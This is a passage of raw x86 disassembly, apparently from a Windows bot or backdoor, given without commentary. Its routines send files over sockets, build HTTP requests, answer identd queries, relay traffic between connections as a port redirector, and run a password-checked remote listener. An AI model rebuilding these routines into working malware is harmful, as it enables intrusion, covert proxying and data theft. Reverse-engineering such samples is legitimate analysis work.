call ds:dword_4F53C0 ; CreateFileA
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_410B29
push esi
push ebx
call ds:dword_4F53DC ; GetFileSize
cmp eax, esi
mov [ebp+arg_4], eax
jz short loc_410B22
loc_410AB6: ; CODE XREF: sub_410A71+AFj
push 400h ; Size
lea eax, [ebp+Dst]
push esi ; Val
push eax ; Dst
call _memset
add esp, 0Ch
cmp edi, [ebp+arg_4]
jbe short loc_410AD3
mov edi, [ebp+arg_4]
loc_410AD3: ; CODE XREF: sub_410A71+5Dj
mov eax, [ebp+arg_4]
push 2
neg eax
push esi
push eax
push ebx
call ds:dword_4F53F4 ; SetFilePointer
lea eax, [ebp+var_4]
push esi
push eax
lea eax, [ebp+Dst]
push edi
push eax
push ebx
call ds:dword_4F53BC ; ReadFile
push esi
lea eax, [ebp+Dst]
push edi
push eax
push [ebp+arg_0]
call dword_4E3148 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_410B1D
call dword_4E308C ; WSAGetLastError
cmp eax, 2733h
jnz short loc_410B22
xor eax, eax
loc_410B1D: ; CODE XREF: sub_410A71+9Bj
sub [ebp+arg_4], eax
jnz short loc_410AB6
loc_410B22: ; CODE XREF: sub_410A71+43j
; sub_410A71+A8j
push ebx
call ds:dword_4F533C ; CloseHandle
loc_410B29: ; CODE XREF: sub_410A71+30j
pop edi
pop esi
pop ebx
leave
retn
sub_410A71 endp
; =============== S U B R O U T I N E =======================================
; int __cdecl sub_410B2E(char *Str)
sub_410B2E proc near ; CODE XREF: sub_410134+181p
Str = dword ptr 4
push esi
push edi
mov edi, [esp+8+Str]
xor esi, esi
push edi ; Str
call _strlen
test eax, eax
pop ecx
jbe short loc_410B57
loc_410B41: ; CODE XREF: sub_410B2E+27j
cmp byte ptr [esi+edi], 5Ch
jnz short loc_410B4B
mov byte ptr [esi+edi], 2Fh
loc_410B4B: ; CODE XREF: sub_410B2E+17j
push edi ; Str
inc esi
call _strlen
cmp esi, eax
pop ecx
jb short loc_410B41
loc_410B57: ; CODE XREF: sub_410B2E+11j
mov eax, edi
pop edi
pop esi
retn
sub_410B2E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_410B5C(int,char *Str,int,int,int,int,int,int,int)
sub_410B5C proc near ; CODE XREF: sub_401CC7+5318p
var_4A0 = byte ptr -4A0h
Dest = byte ptr -310h
Format = byte ptr -110h
Dst = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
Str = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
push ebp
mov ebp, esp
sub esp, 4A0h
push ebx
lea eax, [ebp+var_4A0]
push edi
push eax
push 101h
call dword_4E3068 ; WSAStartup
push 6
push 1
push 2
call dword_4E3178 ; socket
mov ebx, eax
xor edi, edi
push 10h ; Size
lea eax, [ebp+Dst]
push edi ; Val
push eax ; Dst
call _memset
add esp, 0Ch
mov [ebp+Dst], 2
push [ebp+arg_14]
call dword_4E30F8 ; htons
push [ebp+arg_10]
mov [ebp+var_E], ax
call sub_40AE55
pop ecx
mov [ebp+var_C], eax
lea eax, [ebp+Dst]
push 10h
push eax
push ebx
call dword_4E30A0 ; connect
cmp eax, 0FFFFFFFFh
jz short loc_410C39
mov eax, [ebp+arg_20]
cmp eax, edi
jnz short loc_410BD5
mov eax, offset dword_4E5E88
loc_410BD5: ; CODE XREF: sub_410B5C+72j
push esi
mov esi, 100h
push [ebp+arg_10]
push eax
lea eax, [ebp+Format]
push [ebp+arg_1C]
push [ebp+arg_18]
push offset aSSHttp1_1Refer ; "%s %s HTTP/1.1\nReferer: %s\nHost: %s\nCon"...
push esi ; Count
push eax ; Dest
call __snprintf
add esp, 1Ch
lea eax, [ebp+Format]
push edi
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+Format]
push eax
push ebx
call dword_4E3148 ; send
push esi ; Size
lea eax, [ebp+Format]
push edi ; Src
push eax ; Dst
call _memcpy
add esp, 0Ch
lea eax, [ebp+Format]
push edi
push esi
push eax
push ebx
call dword_4E3110 ; recv
pop esi
loc_410C39: ; CODE XREF: sub_410B5C+6Bj
push ebx
call dword_4E3190 ; closesocket
call dword_4E3050 ; WSACleanup
lea eax, [ebp+Format]
push eax ; Format
lea eax, [ebp+Dest]
push eax ; Dest
call _sprintf
cmp [ebp+arg_C], edi
pop ecx
pop ecx
jnz short loc_410C79
push edi ; int
lea eax, [ebp+Dest]
push [ebp+arg_8] ; int
push eax ; int
push [ebp+Str] ; Str
push [ebp+arg_0] ; int
call sub_409D34
add esp, 14h
loc_410C79: ; CODE XREF: sub_410B5C+102j
pop edi
pop ebx
leave
retn
sub_410B5C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_410C7D proc near ; DATA XREF: WinMain(x,x,x,x)+445o
; sub_401CC7+4363o
Str = byte ptr -238h
Dest = byte ptr -38h
var_2C = byte ptr -2Ch
var_2A = word ptr -2Ah
var_28 = dword ptr -28h
Dst = word ptr -1Ch
var_1A = word ptr -1Ah
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 238h
push ebx
push esi
push edi
push 10h
pop edi
xor esi, esi
push edi ; Size
lea eax, [ebp+Dst]
push esi ; Val
push eax ; Dst
mov [ebp+var_8], esi
call _memset
add esp, 0Ch
mov [ebp+Dst], 2
push 71h
call dword_4E30F8 ; htons
push esi
push 1
push 2
mov [ebp+var_1A], ax
mov [ebp+var_18], esi
call dword_4E3178 ; socket
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_410DE1
mov eax, [ebp+arg_0]
push edi
imul eax, 234h
mov dword_456024[eax], ebx
lea eax, [ebp+Dst]
push eax
push ebx
call dword_4E3124 ; bind
cmp eax, 0FFFFFFFFh
jz loc_410DE1
push 5
push ebx
call dword_4E3120 ; listen
cmp eax, 0FFFFFFFFh
jz loc_410DE1
mov [ebp+var_C], edi
mov edi, 200h
loc_410D08: ; CODE XREF: sub_410C7D+EAj
; sub_410C7D+14Dj ...
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_2C]
push eax
push ebx
call dword_4E318C ; accept
cmp eax, 0FFFFFFFFh
mov [ebp+var_4], eax
jz loc_410DDC
movzx eax, [ebp+var_2A]
push eax
push [ebp+var_28]
call dword_4E3184 ; inet_ntoa
push eax
lea eax, [ebp+Str]
push offset asc_44AF64 ; "-"
push eax ; Dest
call _sprintf
lea eax, [ebp+Str]
push eax
call sub_415C3F
add esp, 14h
lea eax, [ebp+Str]
push esi
push edi
push eax
push [ebp+var_4]
call dword_4E3110 ; recv
cmp eax, 0FFFFFFFFh
jz short loc_410D08
lea eax, [ebp+Str]
push esi ; int
push eax ; Str
call sub_418C98
push 0Ch ; Size
lea eax, [ebp+Dest]
push esi ; Val
push eax ; Dst
call _memset
push esi ; Str1
push esi ; int
lea eax, [ebp+Dest]
push 2 ; int
push eax ; Dest
call sub_40B44F
add esp, 24h
push eax
push offset aUseridUnixS ; " : USERID : UNIX : %s\r\n"
lea eax, [ebp+Str]
push edi ; Count
push eax ; Dest
call __snprintf
add esp, 10h
lea eax, [ebp+Str]
push esi
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+Str]
push eax
push [ebp+var_4]
call dword_4E3148 ; send
cmp eax, 0FFFFFFFFh
jz loc_410D08
mov [ebp+var_8], 1
jmp loc_410D08
; ---------------------------------------------------------------------------
loc_410DDC: ; CODE XREF: sub_410C7D+A0j
cmp [ebp+var_8], esi
jnz short loc_410E08
loc_410DE1: ; CODE XREF: sub_410C7D+47j
; sub_410C7D+6Bj ...
call dword_4E308C ; WSAGetLastError
push eax
lea eax, [ebp+Str]
push offset asc_44AFA8 ; "-"
push eax ; Dest
call _sprintf
lea eax, [ebp+Str]
push eax
call sub_415C3F
add esp, 10h
loc_410E08: ; CODE XREF: sub_410C7D+162j
push ebx
call dword_4E3190 ; closesocket
push [ebp+var_4]
call dword_4E3190 ; closesocket
push [ebp+arg_0]
call sub_40BA72
pop ecx
push esi
call ds:dword_4F53A0 ; ExitThread
pop edi
pop esi
pop ebx
sub_410C7D endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_410E2B proc near ; DATA XREF: sub_401CC7+61BCo
Source = byte ptr -350h
var_150 = byte ptr -150h
var_14C = dword ptr -14Ch
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_30 = dword ptr -30h
var_28 = byte ptr -28h
var_26 = word ptr -26h
var_24 = dword ptr -24h
var_18 = byte ptr -18h
Dst = word ptr -14h
var_12 = word ptr -12h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 350h
mov eax, [ebp+arg_0]
push esi
push edi
push 4Ah
pop ecx
mov esi, eax
lea edi, [ebp+var_150]
push 10h
rep movsd
pop edi
mov dword ptr [eax+120h], 1
xor esi, esi
push edi ; Size
lea eax, [ebp+Dst]
push esi ; Val
push eax ; Dst
call _memset
add esp, 0Ch
mov [ebp+Dst], 2
push [ebp+var_44]
call dword_4E30F8 ; htons
push 6
push 1
push 2
mov [ebp+var_12], ax
mov [ebp+var_10], esi
mov [ebp+var_4], edi
call dword_4E3178 ; socket
cmp eax, 0FFFFFFFFh
mov [ebp+arg_0], eax
jz loc_410F97
mov ecx, [ebp+var_40]
push 1
imul ecx, 234h
push 401h
push esi
push eax
mov dword_456024[ecx], eax
call dword_4E3008 ; WSAAsyncSelect
lea eax, [ebp+Dst]
push edi
push eax
push [ebp+arg_0]
call dword_4E3124 ; bind
test eax, eax
jnz loc_410F97
push 0Ah
push [ebp+arg_0]
call dword_4E3120 ; listen
test eax, eax
jnz loc_410F97
loc_410EDB: ; CODE XREF: sub_410E2B+C6j
; sub_410E2B+147j
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_28]
push eax
push [ebp+arg_0]
call dword_4E318C ; accept
mov edi, eax
cmp edi, 0FFFFFFFFh
jz short loc_410EDB
movzx eax, [ebp+var_26]
push [ebp+var_40]
mov [ebp+var_14C], edi
mov [ebp+var_30], esi
push eax
push [ebp+var_24]
call dword_4E3184 ; inet_ntoa
push eax
lea eax, [ebp+Source]
push offset asc_44AFD4 ; "-"
push eax ; Dest
call _sprintf
push edi ; int
lea eax, [ebp+Source]
push 18h ; int
push eax ; Source
call sub_40B756
mov [ebp+var_3C], eax
imul eax, 234h
mov ecx, [ebp+var_40]
add esp, 20h
mov dword_45601C[eax], ecx
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_150]
push esi
push eax
push offset sub_410FBC
push esi
push esi
call ds:dword_4F5350 ; CreateThread
mov ecx, [ebp+var_3C]
imul ecx, 234h
cmp eax, esi
mov dword_45602C[ecx], eax
jz short loc_410F82
loc_410F6F: ; CODE XREF: sub_410E2B+155j
cmp [ebp+var_30], esi
jnz loc_410EDB
push 32h
call ds:dword_4F534C ; Sleep
jmp short loc_410F6F
; ---------------------------------------------------------------------------
loc_410F82: ; CODE XREF: sub_410E2B+142j
call ds:dword_4F5360 ; RtlGetLastWin32Error
push eax ; Args
push offset asc_44B01C ; "-"
call sub_415CB3
pop ecx
pop ecx
jmp short loc_410F9A
; ---------------------------------------------------------------------------
loc_410F97: ; CODE XREF: sub_410E2B+63j
; sub_410E2B+97j ...
mov edi, [ebp+arg_0]
loc_410F9A: ; CODE XREF: sub_410E2B+16Aj
push edi
call dword_4E3190 ; closesocket
push [ebp+arg_0]
call dword_4E3190 ; closesocket
push [ebp+var_40]
call sub_40BA72
pop ecx
push esi
call ds:dword_4F53A0 ; ExitThread
pop edi
pop esi
sub_410E2B endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_410FBC proc near ; DATA XREF: sub_410E2B+124o
var_1344 = byte ptr -1344h
Source = byte ptr -344h
var_144 = byte ptr -144h
var_13C = byte ptr -13Ch
var_3C = dword ptr -3Ch
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
Dst = word ptr -18h
var_16 = word ptr -16h
var_14 = dword ptr -14h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 1344h
call __alloca_probe
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 4Ah
mov esi, eax
pop ecx
lea edi, [ebp+var_144]
rep movsd
mov ebx, [ebp+var_30]
push 1
pop ecx
mov [ebp+var_4], ebx
push 6
push ecx
push 2
mov [eax+120h], ecx
call dword_4E3178 ; socket
mov esi, eax
xor edi, edi
cmp esi, 0FFFFFFFFh
mov [ebp+arg_0], esi
jz loc_411172
push 10h ; Size
lea eax, [ebp+Dst]
push edi ; Val
push eax ; Dst
call _memset
add esp, 0Ch
mov [ebp+Dst], 2
push [ebp+var_3C]
call dword_4E30F8 ; htons
mov [ebp+var_16], ax
lea eax, [ebp+var_13C]
push eax
call dword_4E3138 ; inet_addr
cmp eax, 0FFFFFFFFh
mov [ebp+var_8], eax
jnz short loc_41104C
lea eax, [ebp+var_13C]
push eax
call dword_4E317C ; gethostbyname
jmp short loc_41105A
; ---------------------------------------------------------------------------
loc_41104C: ; CODE XREF: sub_410FBC+7Fj
push 2
lea eax, [ebp+var_8]
push 4
push eax
call dword_4E30B0 ; gethostbyaddr
loc_41105A: ; CODE XREF: sub_410FBC+8Ej
cmp eax, edi
jz loc_411172
mov eax, [eax+0Ch]
push 10h
mov eax, [eax]
mov eax, [eax]
mov [ebp+var_14], eax
lea eax, [ebp+Dst]
push eax
push esi
call dword_4E30A0 ; connect
cmp eax, 0FFFFFFFFh
jz loc_411172
movzx eax, [ebp+var_16]
push [ebp+var_34]
mov [ebp+var_20], edi
push eax
push [ebp+var_14]
call dword_4E3184 ; inet_ntoa
push eax
lea eax, [ebp+Source]
push offset asc_44B058 ; "-"
push eax ; Dest
call _sprintf
push esi ; int
lea eax, [ebp+Source]
push 18h ; int
push eax ; Source
call sub_40B756
imul ebx, 234h
mov [ebp+var_30], eax
imul eax, 234h
mov ecx, [ebp+var_34]
lea esi, dword_456024[ebx]
mov dword_45601C[eax], ecx
add esp, 20h
mov ecx, [esi]
mov dword_456028[eax], ecx
lea eax, [ebp+var_1C]
push eax
lea eax, [ebp+var_144]
push edi
push eax
push offset sub_4111A3
push edi
push edi
call ds:dword_4F5350 ; CreateThread
mov ecx, [ebp+var_30]
imul ecx, 234h
cmp eax, edi
mov dword_45602C[ecx], eax
jz short loc_41115F
loc_41110C: ; CODE XREF: sub_410FBC+15Dj
cmp [ebp+var_20], edi
jnz short loc_41111B
push 32h
call ds:dword_4F534C ; Sleep
jmp short loc_41110C
; ---------------------------------------------------------------------------
loc_41111B: ; CODE XREF: sub_410FBC+153j
mov ebx, 1000h
loc_411120: ; CODE XREF: sub_410FBC+19Fj
push ebx ; Size
lea eax, [ebp+var_1344]
push edi ; Val
push eax ; Dst
call _memset
add esp, 0Ch
lea eax, [ebp+var_1344]
push edi
push ebx
push eax
push dword ptr [esi]
call dword_4E3110 ; recv
cmp eax, edi
jle short loc_411172
push edi
push eax
lea eax, [ebp+var_1344]
push eax
push [ebp+arg_0]
call dword_4E3148 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_411120
jmp short loc_411172
; ---------------------------------------------------------------------------
loc_41115F: ; CODE XREF: sub_410FBC+14Ej
call ds:dword_4F5360 ; RtlGetLastWin32Error
push eax ; Args
push offset asc_44B09C ; "-"
call sub_415CB3
pop ecx
pop ecx
loc_411172: ; CODE XREF: sub_410FBC+44j
; sub_410FBC+A0j ...
mov eax, [ebp+var_4]
imul eax, 234h
push dword_456024[eax]
call dword_4E3190 ; closesocket
push [ebp+arg_0]
call dword_4E3190 ; closesocket
push [ebp+var_4]
call sub_40BA72
pop ecx
push edi
call ds:dword_4F53A0 ; ExitThread
pop edi
pop esi
pop ebx
sub_410FBC endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4111A3 proc near ; DATA XREF: sub_410FBC+130o
Dst = byte ptr -1128h
var_128 = byte ptr -128h
var_14 = dword ptr -14h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 1128h
call __alloca_probe
mov eax, [ebp+arg_0]
push esi
push edi
push 4Ah
pop ecx
mov esi, eax
lea edi, [ebp+var_128]
rep movsd
mov esi, [ebp+var_14]
mov dword ptr [eax+124h], 1
imul esi, 234h
mov edi, 1000h
loc_4111DA: ; CODE XREF: sub_4111A3+7Cj
push edi ; Size
lea eax, [ebp+Dst]
push 0 ; Val
push eax ; Dst
call _memset
add esp, 0Ch
lea eax, [ebp+Dst]
push 0
push edi
push eax
push dword_456028[esi]
call dword_4E3110 ; recv
test eax, eax
jle short loc_411221
push 0
push eax
lea eax, [ebp+Dst]
push eax
push dword_456024[esi]
call dword_4E3148 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_4111DA
loc_411221: ; CODE XREF: sub_4111A3+61j
push dword_456028[esi]
call dword_4E3190 ; closesocket
push [ebp+var_14]
call sub_40BA72
pop ecx
push 0
call ds:dword_4F53A0 ; ExitThread
pop edi
pop esi
sub_4111A3 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411240 proc near ; DATA XREF: sub_4114CE+1BEo
var_3D4 = byte ptr -3D4h
Str1 = byte ptr -350h
var_208 = dword ptr -208h
var_1F4 = dword ptr -1F4h
var_1F0 = dword ptr -1F0h
var_F0 = byte ptr -0F0h
Dest = byte ptr -0B0h
var_4C = byte ptr -4Ch
var_3C = byte ptr -3Ch
Args = byte ptr -2Ch
var_1C = byte ptr -1Ch
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 3D4h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 78h
mov esi, eax
pop ecx
lea edi, [ebp+var_3D4]
push 1
mov [ebp+var_C], 1Eh
pop ebx
rep movsd
mov [eax+1DCh], ebx
mov eax, [ebp+var_208]
mov [ebp+arg_0], eax
imul eax, 234h
lea esi, dword_456024[eax]
xor edi, edi
mov [ebp+var_8], edi
mov [ebp+var_1F4], ebx
mov eax, [esi]
mov [ebp+var_1F0], eax
lea eax, [ebp+var_C]
push eax
push edi
lea eax, [ebp+var_1F4]
push edi
push eax
push edi
call dword_4E30E0 ; select
test eax, eax
jnz short loc_4112C4
push dword ptr [esi]
call dword_4E3190 ; closesocket
push [ebp+arg_0]
call sub_40BA72
pop ecx
push edi
call ds:dword_4F53A0 ; ExitThread
loc_4112C4: ; CODE XREF: sub_411240+6Aj
push edi
lea eax, [ebp+var_3C]
push ebx
push eax
push dword ptr [esi]
call dword_4E3110 ; recv
lea eax, [ebp+Args]
push 10h
push eax
push dword ptr [esi]
call sub_411445
lea eax, [ebp+var_4C]
push 10h
push eax
push dword ptr [esi]
call sub_411445
lea eax, [ebp+var_F0]
push 40h
push eax
push dword ptr [esi]
call sub_411445
add esp, 24h
lea eax, [ebp+var_4]
mov [ebp+var_4], 10h
push eax
lea eax, [ebp+var_1C]
push eax
push dword ptr [esi]
call dword_4E304C ; getpeername
test eax, eax
jz short loc_41133D
call dword_4E308C ; WSAGetLastError
push eax ; Args
push offset asc_44B0DC ; "-"
call sub_415CB3
push [ebp+arg_0]
call sub_40BA72
add esp, 0Ch
push edi
call ds:dword_4F53A0 ; ExitThread
loc_41133D: ; CODE XREF: sub_411240+D8j
push 2
lea eax, [ebp+var_18]
push 4
push eax
call dword_4E30B0 ; gethostbyaddr
cmp eax, edi
jnz short loc_411367
push [ebp+var_18]
call dword_4E3184 ; inet_ntoa
push eax ; Format
lea eax, [ebp+Dest]
push eax ; Dest
call _sprintf
jmp short loc_411375
; ---------------------------------------------------------------------------
loc_411367: ; CODE XREF: sub_411240+10Dj
push dword ptr [eax] ; Source
lea eax, [ebp+Dest]
push eax ; Dest
call _strcpy
loc_411375: ; CODE XREF: sub_411240+125j
pop ecx
pop ecx
push edi
push ebx
push offset dword_4E5E9C
push dword ptr [esi]
call dword_4E3148 ; send
cmp dword_4E5E94, edi
jnz short loc_4113D7
push [ebp+var_18]
lea eax, [ebp+Str1]
push eax ; Str1
lea eax, [ebp+Dest]
push eax ; int
lea eax, [ebp+Args]
push eax ; Args
call sub_41149F
add esp, 10h
test eax, eax
jnz short loc_4113D7
push edi
push 13h
push offset aPermissionDeni ; "Permission denied\n"
push dword ptr [esi]
call dword_4E3148 ; send
push dword ptr [esi]
call dword_4E3190 ; closesocket
push [ebp+arg_0]
call sub_40BA72
pop ecx
push edi
call ds:dword_4F53A0 ; ExitThread
loc_4113D7: ; CODE XREF: sub_411240+14Cj
; sub_411240+16Dj
lea eax, [ebp+Dest]
push eax
lea eax, [ebp+Args]
push eax ; Args
push offset asc_44B11C ; "-"
call sub_415CB3
push [ebp+arg_0]
call sub_411756
add esp, 10h
test eax, eax
jnz short loc_41141E
call ds:dword_4F5360 ; RtlGetLastWin32Error
push eax ; Args
push offset asc_44B144 ; "-"
call sub_415CB3
push [ebp+arg_0]
call sub_40BA72
add esp, 0Ch
push ebx
call ds:dword_4F53A0 ; ExitThread
loc_41141E: ; CODE XREF: sub_411240+1B9j
lea eax, [ebp+Dest]
push eax
lea eax, [ebp+Args]
push eax ; Args
push offset asc_44B170 ; "-"
call sub_415CB3
push [ebp+arg_0]
call sub_40BA72
add esp, 10h
push edi
call ds:dword_4F53A0 ; ExitThread
sub_411240 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411445 proc near ; CODE XREF: sub_411240+9Ap
; sub_411240+A7p ...
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push esi
push 0
lea eax, [ebp+var_1]
push 1
push eax
push [ebp+arg_0]
call dword_4E3110 ; recv
cmp eax, 1
jnz short loc_411495
mov esi, [ebp+arg_4]
loc_411463: ; CODE XREF: sub_411445+41j
mov al, [ebp+var_1]
mov [esi], al
inc esi
dec [ebp+arg_8]
jz short loc_41148A
test al, al
jz short loc_411499
push 0
lea eax, [ebp+var_1]
push 1
push eax
push [ebp+arg_0]
call dword_4E3110 ; recv
cmp eax, 1
jz short loc_411463
jmp short loc_411495
; ---------------------------------------------------------------------------
loc_41148A: ; CODE XREF: sub_411445+27j
push offset asc_44B19C ; "-"
call sub_415CB3
pop ecx
loc_411495: ; CODE XREF: sub_411445+19j
; sub_411445+43j
xor eax, eax
jmp short loc_41149C
; ---------------------------------------------------------------------------
loc_411499: ; CODE XREF: sub_411445+2Bj
push 1
pop eax
loc_41149C: ; CODE XREF: sub_411445+52j
pop esi
leave
retn
sub_411445 endp
; =============== S U B R O U T I N E =======================================
; int __cdecl sub_41149F(char *Args,int,char *Str1)
sub_41149F proc near ; CODE XREF: sub_411240+163p
Args = dword ptr 4
arg_4 = dword ptr 8
Str1 = dword ptr 0Ch
push [esp+Args] ; Str2
push [esp+4+Str1] ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jz short loc_4114CA
push [esp+arg_4]
push [esp+4+Args] ; Args
push offset dword_44B1C8 ; Format
call sub_415CB3
add esp, 0Ch
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_4114CA: ; CODE XREF: sub_41149F+11j
push 1
pop eax
retn
sub_41149F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4114CE proc near ; DATA XREF: sub_401CC7+23C5o
var_5DC = dword ptr -5DCh
var_5A4 = byte ptr -5A4h
Source = byte ptr -414h
var_214 = dword ptr -214h
Str = byte ptr -210h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = byte ptr -34h
var_32 = word ptr -32h
var_30 = dword ptr -30h
var_24 = byte ptr -24h
Dst = word ptr -20h
var_1E = word ptr -1Eh
var_1C = dword ptr -1Ch
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 5A4h
mov eax, [ebp+arg_0]
push esi
push edi
push 78h
pop ecx
mov esi, eax
lea edi, [ebp+var_214]
push 1
rep movsd
pop edi
mov [eax+1DCh], edi
lea eax, [ebp+var_5A4]
push eax
push 202h
call dword_4E3068 ; WSAStartup
xor esi, esi
cmp eax, esi
jz short loc_411527
push eax ; Args
push offset asc_44B238 ; "-"
call sub_415CB3
push [ebp+var_4C]
call sub_40BA72
add esp, 0Ch
push edi
call ds:dword_4F53A0 ; ExitThread
loc_411527: ; CODE XREF: sub_4114CE+3Aj
push edi
push offset loc_41174C
call ds:dword_4F53F8 ; SetConsoleCtrlHandler
test eax, eax
jnz short loc_411560
call ds:dword_4F5360 ; RtlGetLastWin32Error
push eax ; Args
push offset asc_44B264 ; "-"
call sub_415CB3
pop ecx
pop ecx
call dword_4E3050 ; WSACleanup
push [ebp+var_4C]
call sub_40BA72
pop ecx
push edi
call ds:dword_4F53A0 ; ExitThread
loc_411560: ; CODE XREF: sub_4114CE+67j
push ebx
push 10h ; Size
lea eax, [ebp+Dst]
push esi ; Val
push eax ; Dst
call _memset
add esp, 0Ch
mov [ebp+Dst], 2
push [ebp+var_50]
call dword_4E30F8 ; htons
push 6
push edi
push 2
mov [ebp+var_1E], ax
mov [ebp+var_1C], esi
call dword_4E3178 ; socket
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_4116D7
mov eax, [ebp+var_4C]
push 10h
imul eax, 234h
mov dword_456024[eax], ebx
lea eax, [ebp+Dst]
push eax
push ebx
call dword_4E3124 ; bind
test eax, eax
jnz loc_4116D7
push 7FFFFFFFh
push ebx
call dword_4E3120 ; listen
test eax, eax
jnz loc_4116D7
push offset unk_44B2A8
mov [ebp+var_10], 0Ch
mov [ebp+var_C], esi
mov [ebp+var_8], esi
call sub_415C3F
pop ecx
mov [ebp+arg_0], edi
loc_4115EF: ; CODE XREF: sub_4114CE+15Aj
; sub_4114CE+1E4j
lea eax, [ebp+var_4]
mov [ebp+var_4], 10h
push eax
lea eax, [ebp+var_34]
push eax
push ebx
call dword_4E318C ; accept
mov edi, eax
cmp edi, 0FFFFFFFFh
jz loc_4116DA
push [ebp+arg_0]
lea eax, [ebp+arg_0]
push eax
push 8
push 0FFFFh
push edi
call dword_4E30D8 ; setsockopt
cmp eax, 0FFFFFFFFh
jz short loc_4115EF
movzx eax, [ebp+var_32]
push [ebp+var_4C]
mov [ebp+var_38], esi
push eax
push [ebp+var_30]
call dword_4E3184 ; inet_ntoa
push eax
lea eax, [ebp+Source]
push offset asc_44B2E4 ; "-"
push eax ; Dest
call _sprintf
lea eax, [ebp+Source]
push eax
call sub_415C3F
push edi ; int
lea eax, [ebp+Source]
push 9 ; int
push eax ; Source
call sub_40B756
mov [ebp+var_48], eax
imul eax, 234h
mov ecx, [ebp+var_4C]
add esp, 24h
mov dword_45601C[eax], ecx
lea eax, [ebp+var_24]
push eax
lea eax, [ebp+var_214]
push esi
push eax
push offset sub_411240
lea eax, [ebp+var_10]
push esi
push eax
call ds:dword_4F5350 ; CreateThread
mov ecx, [ebp+var_48]
imul ecx, 234h
cmp eax, esi
mov dword_45602C[ecx], eax
jz short loc_4116C2
loc_4116AF: ; CODE XREF: sub_4114CE+1F2j
cmp [ebp+var_38], esi
jnz loc_4115EF
push 32h
call ds:dword_4F534C ; Sleep
jmp short loc_4116AF
; ---------------------------------------------------------------------------
loc_4116C2: ; CODE XREF: sub_4114CE+1DFj
call ds:dword_4F5360 ; RtlGetLastWin32Error
push eax ; Args
push offset asc_44B328 ; "-"
call sub_415CB3
pop ecx
pop ecx
jmp short loc_4116DA
; ---------------------------------------------------------------------------
loc_4116D7: ; CODE XREF: sub_4114CE+C8j
; sub_4114CE+ECj ...
mov edi, [ebp+arg_0]
loc_4116DA: ; CODE XREF: sub_4114CE+13Cj
; sub_4114CE+207j
call dword_4E308C ; WSAGetLastError
push eax
lea eax, [ebp+Source]
push offset asc_44B364 ; "-"
push eax ; Dest
call _sprintf
add esp, 0Ch
cmp [ebp+var_3C], esi
jnz short loc_41171A
push esi ; int
lea eax, [ebp+Source]
push [ebp+var_40] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_214] ; int
call sub_409D34
add esp, 14h
loc_41171A: ; CODE XREF: sub_4114CE+22Aj
lea eax, [ebp+Source]
push eax
call sub_415C3F
pop ecx
push edi
call dword_4E3190 ; closesocket
push ebx
call dword_4E3190 ; closesocket
call dword_4E3050 ; WSACleanup
push [ebp+var_4C]
call sub_40BA72
pop ecx
push esi
call ds:dword_4F53A0 ; ExitThread
pop ebx
loc_41174C: ; DATA XREF: sub_4114CE+5Ao
xor eax, eax
cmp [esp+5E0h+var_5DC], eax
setz al
retn
sub_4114CE endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411756 proc near ; CODE XREF: sub_411240+1AFp
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
